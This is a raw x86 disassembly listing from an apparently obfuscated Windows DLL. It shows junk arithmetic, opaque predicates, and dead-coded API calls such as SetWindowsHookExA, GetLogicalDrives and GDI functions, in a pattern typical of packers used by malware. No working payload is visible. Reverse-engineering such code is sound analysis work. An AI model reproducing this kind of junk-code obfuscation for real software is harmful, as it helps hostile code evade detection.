mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100301bc
push 0x1e77
push eax
push eax
push 0x221c
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x100301f7
mov dword [ebp - 0x24], 0x2759951e
mov dword [ebp - 0x24], 0x677b568b
mov dword [ebp - 0x24], eax
push dword [ebp - 0x1c]
call fcn.10016aae
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x8ac]
mov esi, eax
call fcn.10016aae
mov ecx, dword [esi]
push 0
mov dword [eax], ecx
inc dword [ebp - 0x34]
inc dword [ebp - 0x1c]
pop eax
cmp dword [ebp - 0x1c], 2
lea ecx, [ebp - 0x8ac]
jle 0x100301c1
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10016a92
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1003051a
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], 0x564c7b7f
mov dword [ebp - 0x40], 0xcb75
mov dword [ebp - 0x34], 0x61f28656
mov dword [ebp - 0x28], 0x32fd8c04
mov dword [ebp - 0x2c], 0x1b
cmp dword [ebp - 0x2c], 9
jl 0x10030510
movdqa xmm0, xmmword [0x10007dc0]
lea eax, [ebp - 0x1068]
push eax
lea eax, [ebp - 0x1078]
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x20], 0xbdac842f
lea ecx, [ebp - 0x1318]
push eax
movdqu xmmword [ebp - 0x1078], xmm0
call fcn.10016ac0
lea ecx, [ebp - 0x15d]
mov esi, eax
call fcn.10016abd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x304]
push dword [esi]
call fcn.10016a6c
mov dword [ebp - 4], 0x16
xor eax, eax
mov dword [ebp - 0x38], 0x7e99
mov dword [ebp - 0x34], 0x471b
mov dword [ebp - 0x50], 0xfffffffe
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x100302d8
or ecx, 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x16c], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100302c3
xor eax, eax
cmp dword [ebp - 0x2c], eax
jne 0x100302e6
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x30]
neg eax
sbb eax, eax
neg eax
cmp eax, dword [ebp - 0x2c]
jne 0x1003031a
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub eax, 5
cmp eax, dword [ebp - 0x30]
jle 0x1003032c
xor eax, eax
cmp eax, dword [ebp - 0x30]
je 0x10030333
mov eax, ebx
cmp eax, dword [ebp - 0x30]
jg 0x10030341
xor eax, eax
cmp dword [ebp - 0x168], eax
je 0x10030343
mov eax, ebx
jmp 0x10030343
xor eax, eax
sub eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x16c], eax
mov esi, dword [ebp - 0x2c]
neg esi
push 2
sbb esi, esi
neg esi
call fcn.10016aae
xor ebx, ebx
lea ecx, [ebp - 0x304]
push 2
cmp esi, dword [eax]
setne bl
call fcn.10016aae
mov ecx, dword [ebp - 0x3c]
sub ecx, ebx
xor ebx, ebx
mov eax, dword [eax]
inc dword [ebp - 0x3c]
cmp ecx, eax
je 0x10030391
inc ebx
mov esi, ebx
jmp 0x10030396
xor eax, eax
inc ebx
mov esi, eax
push 2
lea ecx, [ebp - 0x304]
call fcn.10016aae
sub esi, dword [eax]
mov eax, dword [ebp - 0x38]
imul eax, esi
test eax, eax
jne 0x100303b7
cmp dword [ebp - 0x16c], eax
je 0x100303b9
mov eax, ebx
dec eax
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push 2
call fcn.10016aae
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x100303e1
cmp dword [ebp - 0x20], eax
je 0x100303e1
mov eax, ebx
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x100304e6
mov dword [ebp - 0x24], 3
mov dword [ebp - 0x48], 0xa5788241
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x10030418
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xd0], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x10030404
xor eax, eax
cmp dword [ebp - 0x50], eax
jne 0x10030427
mov esi, eax
cmp dword [ebp - 0x168], eax
je 0x10030429
mov esi, ebx
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x304]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xd0]
xor eax, eax
push eax
call fcn.10016aae
mov ecx, dword [ebp - 0x20]
cmp ebx, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, dword [eax]
setne dl
sub edx, 0xf0d54df9
neg edx
sbb edx, edx
inc edx
cmp edx, dword [ebp - 0x28]
jne 0x10030469
xor eax, eax
cmp dword [ebp - 0x28], eax
je 0x1003046b
mov eax, ebx
xor ecx, ecx
cmp esi, eax
mov eax, dword [ebp - 0x34]
setge cl
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
inc edx
cmp edx, 0xe78c
setne al
sub eax, dword [ebp - 0xd0]
je 0x1003049e
xor eax, eax
cmp dword [ebp - 0xd0], eax
je 0x100304a0
mov eax, ebx
jmp 0x100304a0
xor eax, eax
imul esi, eax, 0x5ed6
lea ecx, [ebp - 0x304]
xor eax, eax
push eax
call fcn.10016aae
mov ecx, dword [ebp - 0x24]
xor edx, edx
imul ecx, esi
push 0
mov dword [eax], esi
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x168]
setne dl
sub edx, eax
mov eax, dword [ebp - 0xd0]
imul eax, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x3c]
pop eax
cmp dword [ebp - 0x3c], 0x3b
jl 0x100303ee
or eax, 0xffffffff
lea ecx, [ebp - 0x304]
mov dword [ebp - 4], eax
call fcn.10016a92
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 9
jge 0x10030248
xor eax, eax
mov dword [ebp - 0x1c], 0x2df3d37a
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x10030218
dec dword [ebp - 0x44]
push 0
pop eax
push 3
pop esi
jns 0x1003008d
mov dword [ebp - 0x3c], 0xb9f9b319
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030559
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe20], 0x48cc3837
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030541
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff8
jne 0x100305bb
mov dword [ebp - 0x2c], 0x13034d00
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x2c], eax
jne 0x10030574
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x2c]
neg eax
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x100305af
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x100305aa
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x10030599
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff8
push 0
pop eax
je 0x10030562
mov dword [ebp - 0x1c], 0x18
cmp dword [ebp - 0x1c], 0x2d
jle 0x1003185e
jmp 0x100305d0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x14], eax
jmp 0x100305ec
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x830], 0x2c02a306
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100305db
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, 0x1b583dc0
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
cmp ecx, dword [ebp - 0x20]
je 0x10030610
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x20]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, 0x986d6dbc
setne al
add eax, 0xfff7
neg eax
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jg 0x10030735
jmp 0x10030663
xor eax, eax
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003068a
push 7
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1254], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030678
mov eax, dword [ebp - 0x830]
xor edx, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x830]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x82c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x828]
mov eax, dword [ebp - 0x38]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 0x38]
sete dl
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], eax
jmp 0x10030722
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp + eax*4 - 0x830]
mov dword [ebp - 0x124c], eax
test eax, eax
je 0x1003070f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003071f
push eax
push 0xfd5
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
jmp 0x1003071f
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003071f
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jle 0x100306d4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10030661
push esi
lea ecx, [ebp - 0x34c]
call fcn.10016a10
mov dword [ebp - 4], 0x17
xor eax, eax
mov dword [ebp - 0x20], 0x834504cd
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x40], 0xfffffff7
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x1003076f
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1003078d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030971
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
jmp 0x10030971
mov dword [ebp - 0x34], 0xa07563ff
lea ecx, [ebp - 0xaa0]
push ebx
call fcn.10016a10
mov byte [ebp - 4], 0x18
xor eax, eax
mov dword [ebp - 0x24], 0xcc545e21
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100307cf
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x400], 0xa473eb90
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100307b6
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x100307f4
push dword [ebp - 0x20]
lea ecx, [ebp - 0xaa0]
call fcn.10016aae
push 4
pop ecx
mov dword [eax], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x100307d7
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], esi
jge 0x10030814
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xf90], 0xe4f78d7c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100307fc
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x10030879
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x400]
mov dword [ebp - 0x34], eax
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x10030845
cmp dword [ebp - 0x20], 0xc207
jne 0x1003083c
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0xaa0]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp + eax*4 - 0x400]
xor eax, eax
push eax
call fcn.10016aae
or ecx, 0xffffffff
mov dword [eax], ecx
mov dword [ebp - 0xf90], ecx
mov dword [ebp - 0x3c], 0x72c02a30
dec dword [ebp - 0x20]
jns 0x1003081c
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff9
jge 0x10030962
jmp 0x1003088a
xor eax, eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x14], 0x39a53aa4
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x100308b3
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x66c], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x1003089f
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x100308c9
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x760], 0x1355901a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x100308b8
mov dword [ebp - 0x38], 0xfb64
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x100308e9
cmp dword [ebp - 0x40], eax
je 0x100308e9
mov eax, ebx
cmp eax, dword [ebp - 0x3c]
jge 0x100308f1
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3fc]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xf88], 0x67f6a191
mov eax, dword [ebp - 0x3fc]
imul eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 0x66c], ecx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
sub eax, ecx
neg eax
sbb eax, eax
xor edx, edx
inc eax
test eax, eax
mov eax, dword [ebp - 0x14]
setg dl
sub edx, 0x67f6a191
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x14]
mov dword [ebp - 0x760], ecx
dec dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0xfffffff9
jl 0x10030888
lea ecx, [ebp - 0xaa0]
mov byte [ebp - 4], 0x17
call fcn.10016a92
push ebx
lea ecx, [ebp - 0x614]
call fcn.10016a10
mov byte [ebp - 4], 0x19
xor eax, eax
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100309a6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x14d4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10030992
xor eax, eax
mov dword [ebp - 0x2c], 2
cmp dword [ebp - 0x2c], eax
jl 0x10030a28
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100309ce
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xf4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100309ba
xor eax, eax
mov dword [ebp - 0xf4], 2
cmp dword [ebp - 0xf4], eax
jl 0x10030a11
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030a09
push 0x384
push 0x95b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
xor eax, eax
dec dword [ebp - 0xf4]
jns 0x100309e0
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030a23
push eax
call dword [sym.imp.USER32.dll_CharUpperW]
xor eax, eax
dec dword [ebp - 0x2c]
jns 0x100309b2
mov dword [ebp - 0x2c], 0xffffffed
jmp 0x10030a52
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030a4f
push eax
push eax
push 0xa8
push 0x22f0
push eax
call dword [sym.imp.USER32.dll_InsertMenuA]
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x1a
jl 0x10030a31
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x24], 0xfffffff7
mov dword [ebp - 0x38], 0x43b8a277
mov dword [ebp - 0x50], 6
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030a86
push eax
push eax
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x10030a8e
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x2c], eax
je 0x10030a9c
mov edx, ebx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor eax, eax
cmp ecx, dword [ebp - 0x2c]
jl 0x10030acd
cmp dword [ebp - 0x2c], eax
je 0x10030acd
cmp dword [ebp - 0x24], eax
je 0x10030acd
mov eax, ebx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x7bc7
jne 0x10030ae0
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x10030ae2
mov eax, ebx
mov dword [ebp - 0x50], eax
or ecx, 0xffffffff
mov dword [ebp - 0x30], ebx
xor edx, edx
push 2
pop eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x3c], 0x9cd49fcf
mov dword [ebp - 0x38], 0xfc5c2da5
mov dword [ebp - 0x34], 0x9d3b05e2
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
xor edx, edx
imul esi, ecx, 0xffff
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setge dl
xor eax, eax
cmp edx, esi
setge al
xor edx, edx
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x3c]
imul ecx, eax
mov eax, dword [ebp - 0x30]
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setl dl
xor ecx, ecx
cmp eax, edx
setl cl
cmp ecx, dword [ebp - 0x3c]
jle 0x10030bb5
xor eax, eax
push 3
mov dword [ebp - 0x30], eax
pop esi
jmp 0x10030bab
mov dword [ebp - 0x3c], eax
jmp 0x10030ba3
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030ba0
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
xor eax, eax
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], esi
jle 0x10030b80
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x10030b7b
jmp 0x10030cde
lea eax, [ebp - 0x11c8]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x11d8]
push eax
lea ecx, [ebp - 0x1458]
movdqu xmmword [ebp - 0x11d8], xmm0
call fcn.10016ac0
lea ecx, [ebp - 0x15f]
mov esi, eax
call fcn.10016abd
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x334]
push dword [esi]
call fcn.10016a6c
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x34], 0x65296947
mov dword [ebp - 0x24], 0x1e161e41
push 2
call fcn.10016aae
mov ecx, dword [ebp - 0x420]
cmp ecx, dword [eax]
jg 0x10030c26
mov eax, dword [ebp - 0x418]
push 3
lea ecx, [ebp - 0x334]
call fcn.10016aae
or edx, 0xffffffff
cmp dword [ebp - 0x34], edx
push 2
sbb eax, eax
xor ecx, ecx
inc eax
add eax, dword [ebp - 0x420]
cmp eax, edx
mov eax, dword [ebp - 0x41c]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
lea ecx, [ebp - 0x334]
setg dl
sub edx, eax
mov dword [ebp - 0x41c], edx
call fcn.10016aae
push 2
lea ecx, [ebp - 0x334]
call fcn.10016aae
push 2
lea ecx, [ebp - 0x334]
call fcn.10016aae
cmp dword [eax], 0xfffffff8
jb 0x10030c98
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x10030c9a
mov ecx, ebx
jmp 0x10030c9c
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x30]
imul eax, ecx
lea ecx, [ebp - 0x334]
push 3
mov dword [ebp - 0x38], eax
call fcn.10016aae
mov edx, dword [ebp - 0x34]
mov esi, eax
mov ecx, dword [ebp - 0x38]
xor eax, eax
cmp ecx, edx
lea ecx, [ebp - 0x334]
setne al
sub eax, dword [esi]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x19
call fcn.10016a92
push 3
pop esi
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10030d06
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x34c]
call fcn.10016aae
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x10030ce8
xor eax, eax
mov dword [ebp - 0x3c], 0x713b9102
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x15
jl 0x10030d68
or ebx, 0xffffffff
mov dword [ebp - 0x24], ebx
xor edx, edx
mov dword [ebp - 0x50], 0xe1b61bab
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
cmp ecx, eax
setle dl
xor eax, eax
cmp edx, 0x59b
setge al
mov dword [ebp - 0x50], eax
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x10030d5a
push 0xc76
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x15
jge 0x10030d19
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10030d8b
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x614]
call fcn.10016aae
and dword [eax], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10030d70
xor eax, eax
mov ecx, 0x256915a
mov dword [ebp - 0x2c8], ecx
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x10030dce
push 4
pop ecx
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xdc], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x10030dba
xor eax, eax
mov dword [ebp - 0x2c4], eax
jmp 0x10030e97
mov dword [ebp - 0x3c], 0x6e5c7a00
mov dword [ebp - 0x34], 0xafa01777
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030e00
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], eax
jl 0x10030e91
push 7
pop ebx
mov dword [ebp - 0x34], 0x6eab3cf8
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x3c]
cmp ebx, eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c4]
mov ecx, dword [ebp + eax*4 - 0xdc]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
setl dl
xor ecx, ecx
cmp edx, esi
setl cl
xor edx, edx
cmp ecx, eax
setle dl
sub edx, 0xfffffffa
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x34], edx
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x2c4]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
mov eax, dword [ebp + eax*4 - 0xdc]
cmp eax, edx
setge cl
inc ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x24], ecx
dec dword [ebp - 0x3c]
jns 0x10030e0f
xor ebx, ebx
xor eax, eax
inc ebx
inc dword [ebp - 0x2c4]
cmp dword [ebp - 0x2c4], eax
jle 0x10030dd9
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10030eb3
push eax
call dword [sym.imp.USER32.dll_RegisterClassA]
push 2
lea ecx, [ebp - 0x34c]
call fcn.10016aae
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0x614]
xor eax, eax
push eax
call fcn.10016aae
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x10030edd
mov eax, dword [ebp - 0x44]
xor eax, eax
push eax
lea ecx, [ebp - 0x614]
call fcn.10016aae
xor ecx, ecx
xor ebx, ebx
inc ecx
push 2
cmp dword [eax], ecx
lea ecx, [ebp - 0x34c]
setg bl
call fcn.10016aae
xor ecx, ecx
push 2
cmp ebx, dword [eax]
sete cl
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x34c]
call fcn.10016aae
xor edx, edx
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x254]
add eax, ecx
cmp eax, 0xb752
mov eax, dword [ebp - 0x1c]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
xor ebx, ebx
inc ecx
inc ebx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], 0x25b9b55b
mov dword [ebp - 0x3c], 0xffffffe4
cmp dword [ebp - 0x3c], 0xfffffff2
jle 0x10030fc1
or eax, 0xffffffff
lea ecx, [ebp - 0xbf0]
mov dword [ebp - 0x24], eax
push 2
call fcn.10016a10
xor eax, eax
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x14], eax
jmp 0x10030f83
cmp dword [ebp - 0x14], 2
lea ecx, [ebp - 0xbf0]
jl 0x10030f72
xor eax, eax
mov dword [ebp - 0x44], eax
jmp 0x1003182b
cmp dword [ebp - 0x44], 2
jle 0x10030fcb
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff7
jle 0x1002f9f3
mov dword [ebp - 0x30], ebx
or eax, 0xffffffff
mov dword [ebp - 0x40], 0x37d4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0xbbfad0d7
mov dword [ebp - 0x30], 0x14
jmp 0x100319f2
push esi
lea ecx, [ebp - 0x634]
call fcn.10016a10
push 2
lea ecx, [ebp - 0x624]
mov dword [ebp - 4], 0x23
call fcn.10016a10
mov byte [ebp - 4], 0x24
xor eax, eax
mov dword [ebp - 0x24], 0x2c78
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100318e1
push dword [ebp - 0x18]
lea ecx, [ebp - 0x634]
call fcn.10016aae
mov dword [eax], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100318c3
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10031909
push dword [ebp - 0x18]
lea ecx, [ebp - 0x624]
call fcn.10016aae
mov dword [eax], 0xa87a5eaf
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100318ea
xor eax, eax
